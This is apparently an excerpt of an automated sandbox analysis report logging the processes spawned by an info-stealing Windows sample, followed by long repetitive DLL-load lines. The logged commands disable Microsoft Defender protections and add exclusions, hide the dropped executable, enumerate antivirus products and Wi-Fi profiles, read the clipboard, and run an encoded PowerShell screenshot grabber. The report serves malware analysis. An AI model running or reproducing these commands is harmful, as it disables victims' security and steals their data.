AIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF33B.tmp" "c:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\agentInto\fontsessionruntime.exe "C:\agentInto\fontsessionruntime.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\agentInto\fontsessionruntime.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
